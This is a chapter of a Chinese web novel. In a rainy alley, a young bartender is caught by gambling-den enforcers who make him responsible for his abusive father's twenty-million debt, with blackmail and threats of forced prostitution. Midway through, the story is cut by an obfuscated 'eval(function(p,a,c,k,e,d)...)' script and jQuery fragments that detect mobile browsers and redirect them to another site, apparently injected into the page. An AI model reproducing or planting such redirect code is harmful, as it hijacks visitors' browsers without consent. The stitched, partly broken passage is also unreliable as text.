送别宴经过讨论,决定开在曼琳家。

    她家最大,也最豪华,其他人七嘴八舌,不到半个小时就把宴会环节订好。

    甚至每人拿出一部分钱,嚷嚷着要从酒馆买些好酒,不醉不归。

    程因听了几嘴,被拒绝参与送别宴的布置后,索性就在家里收拾行李,中午顺便还去了酒馆老板那里。

    花街的房子很大一部分都是酒馆老板的,程因将他要离开的消息告诉他,让他尽快找下一个租客。

    老板还试图挽留,还说哪天想要回来,随时欢迎。

    收拾行李并没有费什么力气。

    在花街三年,程因也只买了衣服和一些包包香水。

    那些有归属感、能提升幸福品质的大件,他一件也没有买。

    一天不到,就打包好行李,订了上门取货,换了一身新衣服。

    程因带着梁宗廷给他买的项链和手链,穿得漂漂亮亮的。

    打算开心地渡过在花街的最后一晚。

    曼琳她们果真买了许多酒,将客厅布置得漂亮又梦幻。

    今日的天气不好,宴会开始的时候已经下起了雨,天气预报上的落雨很大,砸到玻璃上噼里啪啦。

    小洋楼里的气氛却热闹轰天。

    大抵是想着明日就要离开,程因也跟着疯了好一会,来一杯喝一杯,小疯子似地满客厅乱窜。

    三四个人都抓不住一个程因。

    喝醉了就软乎乎地趴在沙发上,抱着酒瓶,睡一会,又傻兮兮地笑,醒来又拽着酒杯,跑去拉着其他人猜拳。

    一直闹到深夜。

    地毯上七七八八地倒着空酒瓶,还有醉倒的人。

    程因还惦记着要回去的事情,在地上坐了一会,见人都喝醉了,爬过去,挨个摇,没人理他。

    “laughing?”

    “阿娇姐?”

    “天啊,曼琳姐你睡得太沉啦!”

    “怎么比我的酒量还差?”

    程因摇摇晃晃地爬起来,他喝了很多酒,总觉得眼前有些花,外头的雨还在下,在门口取了一把伞,裹紧衣服,打开门。

    外头刮着的风很大,程因被吹得睁不开眼,躲在伞下,歪歪斜斜地往回走。

    花街的小路只有稀疏的小灯,雨幕压着昏黄的灯光,厚重云层像头顶密不透风的罩布,程因走了一会,总觉得远处的树影像一个个扭曲的面孔。

    雨声越来越急,程因下意识地加快步伐,在拐入转角的时候,旁边的小巷子传来异样的响动。

    前方影影绰绰地站着七八个人,压在黑伞下,为首的脸上有刀疤,凶神恶煞,露出头皮发麻的棍棒。

    地上还跪着一个人。

    程因心一跳,避开眼,可风却突然大了,将他的伞吹歪,下意识地惊叫。

    巷子里的那群人看过来,跪在地上的人抬起来脸,程因抓着伞的手一紧。

    是吴水泉。

    前些天还耀武扬威的吴水泉,此刻像地上的一摊烂泥。

    程因看见他阴恻恻地勾起笑,背后一凉,抓紧伞,下意识地转身就跑。

    身后传来吴水泉嘶哑的大喊。

    “那是我儿子,我儿子有钱,你们找他,找他,他最近才攀上一个大老板,手里阔绰的很。”

    雨下得更大了,砸在脸上生疼,程因却顾不上擦,蒙着头咬牙拼命地往前跑,他在花街住了三年。

    每夜下班都走的小路,哪怕蒙着眼也知道怎么走。

    前头隐约闪烁着小洋楼的亮光,他露出希冀,不敢回头,加快脚步地冲出巷子。

    下一秒左侧突然蹿出一道黑影,紧接着他的后脑勺一疼,程因发出一声惨叫,被硬生生地抓着头发拖到了地上。

    “跑?”

    “叫你跑!”

    云幕下的雷声将所有响动吞噬。

    花街最昏暗的巷子里,程因被拖了回去,摔在地上,泥水砸到眼睛里。

    “这是你儿子?”

    他的脚被人踩住。

    “是是是,他是花街的酒保,很有钱的,手里阔绰的很。”吴水泉跪在旁边,一条腿已经被敲断,爬着到刀疤男脚边。

    “花街的?”

    紧接着一阵强光打在他的脸上,刺激得眼框飚出泪水。

    程因眯起眼,下巴被抓着提起来,强迫地和手电筒的光对视。

    刀疤男正在打量着他,眼神像看肉铺上的货物。

    程因毛骨悚然,拼命挣扎,“花街的余老板你知道吗?我在他手下干活,你们赌场不是向来和花街井水不犯河水吗!”

    刀疤男的脸色迟疑,似有松动。

    “我们酒保花钱大手大脚,连房子都是租的,能有多少积蓄。”程因死死扣着地砖间的缝隙,心跳到嗓子眼,半点不敢松懈。

    “赌场没必要为了几万块和花街闹不愉快。”

    吴水泉突然从旁边扑过来,泥泞像毒蛇的手抓住他的脚踝。

    旁边的打手围上来,就要拖着吴水泉回去,骂骂咧咧地踢着他。

    吴水泉却像没有知觉似的,指甲死死地扣着程因,怨气冲天,扭曲得像从地狱爬出来的恶鬼。

    声音顺着雨幕,细小地钻进耳道。

    “你不给我钱,我就拿其他的东西去卖,你说赌馆的老板会不会好奇富家大小姐在床上是什么样子啊?”

    程因的挣扎停住,不可置信,“你说什么?”

    吴水泉猛地扑上去,另一只手也抓住了他,程因被撞得踉跄,后背砸到墙上,痛呼一声,整个人软到地上。

    豆大的雨霎时间落到了他的脸上,程因顾不上这些,提着吴水泉的衣领“你手里的东西在哪里,给我,给我!”

    他嘶吼,紧紧地攥着,吴水泉被他勒得喘不上气,满脸通红,却嘿嘿一笑,“东西,你说视频啊,在我那啊。”

    “你要去干什么?想知道?我可以告诉你啊,是你妈和我偷情的那一天,就是那一天,生下你这个野种啊。”

    程因最后的一点侥幸没了,浑身一僵,松开手。

    吴水泉栽到地上,盯着他,嗬嗬地抽气。

    “不给我钱,我就把这个视频发出去,怎么样?”

    声音幽幽怨怨,程因却有些听不到,落下的雨幕像刀子,割在他的脸上,淅淅沥沥的,好像他的血落到了地上。

    巷子里灯很昏暗,雨水融进土泥,变成浑浊的泥水,散发着腥味。

    程因倒在地上,捂着头,一股反胃和更加惊惧的恐慌弥漫上心头,努力地向后缩,试图缩到没有泥水和雨幕的地方。

    可是好像没用,这么多年,车祸那夜没赶上的雨幕阴魂不散地跟着他。

    耳朵里灌进太多的水,嗡嗡地隔着一层东西,砸下的水声恍惚又变成其他的东西。

    太平间外窸窸窣窣的讨论,葬礼那日阿爸抱着他的哀恸,再到成人礼上的轰隆地震。

    该怎么办呢.....

    程因,该怎么办呢....

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17041130|194652||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    身边已经不会有阿爸再来帮他,程因死死地抓着地砖,口腔被咬破,丝丝铁锈味刺痛。

    “刘哥,如果我儿子不还钱,我拿一样东西换怎么样?”

    “嗤,两千万,你他娘能有什么值钱的东西。”刀疤男吐了口唾沫。

    “值钱,您拿着那个视频去找澄福珠宝的许文荣,那个绿帽男,说不定还能要到一笔股份呢。”

    地上像死掉的程因猛然地抬起头,死死地拉住吴水泉,骨节泛白,“我给你钱,你把东西给我。”

    吴水泉露出森森的白牙,粘腻的手拍了拍,“谢谢我的好儿子啊。”

    刀疤男冷眼瞧着,将烟掐了,扔在地上。

    “商量好了是吧,你儿子还钱?”

    “是是是,刘哥,我儿子给我还钱。”吴水泉嘿嘿一笑,“他可比我这张老脸值钱多了。”

    刀疤男眯起眼,咧嘴,“妈的,你这个老货够恶毒。”

    走上前,抓着程因的头发,被烟熏入味的指腹压着程因的脸颊,凑近,仔细端详了片刻。

    “我给你三天,还不上,你这张脸嘛值钱......”

    刀疤男在程因的脸上拍了拍,“到时候给你找一点客人,脱裤子在床上,张开腿接上十七八个人也就够了。”

    巷子里很快恢复了黑暗,刀疤男带着吴水泉走了,雨声越来越急,似乎要积起一层水。

    脸上是热乎乎的,不知道是他流的血还是泪水,但是好疼啊。

    应该是血吧....

    程因软在地上,眼无神声地睁着。

    巷子外突然响起一阵凌乱的脚步声,程因惧怕地抖了抖,那阵脚步声逼近,明黄的光亮打在了他的脸上。

    程因的眼珠子麻木地转了转,倒在地上,仰头看见穿着礼裙,打扮得漂亮华丽的曼琳一行人。

    她们身上还带着派对欢甜的气味。

    “因因!”曼琳大惊失色,冲过来抓着他的手,试图将他扶起来,“你这是惹上仇家了?”

    “你们怎么过来了?”程因闭上眼,不去看她们身上还沾染的派对闪粉。

    那些闪粉在手电筒的光亮下,刺得眼睛痛,白蒙蒙一片,让程因无端害怕。

    “我们醒来看见你的手机拉下来,没在你家找到你,因为你喝醉倒在路边,就一起出来找你。”覃欢喜将他扶了起来。

    曼琳伸出手想搭把手,又缩了回来,“到底怎么了,是不是你那个爹....”

    “两千万,吴水泉欠了两千万...”程因心如死灰,闭上眼,面色惨白如纸。

    他怎么可能还得上。

    旁边的声音一下子消失了。

    过了好一会,覃欢喜的声音才出现,在雨声中竟然有些瑟缩....

    “怎么会这么多,不是说..”

    “因因,要不要我们一起借你一点钱。”曼琳抢过话,“或者你回花街。”

    “花街也赚不到那么多钱啊....”覃欢喜声音幽幽,“两千万,可不是一笔随随便便的钱。”

    一直躺在地上的程因突然动了一下,他猛然睁开眼,朝曼琳手中的手机抓去。

    曼琳被他吓了一跳,险些踩到他。

    程因却顾不上,手上的泥水打湿屏幕,擦了又擦,像抓到什么救命稻草一般。

    眼里燃烧出最后的火焰,连带着身体都不受控制地发抖,哆哆嗦嗦地敲出一则消息。

    在雨幕最后,

    发送成功。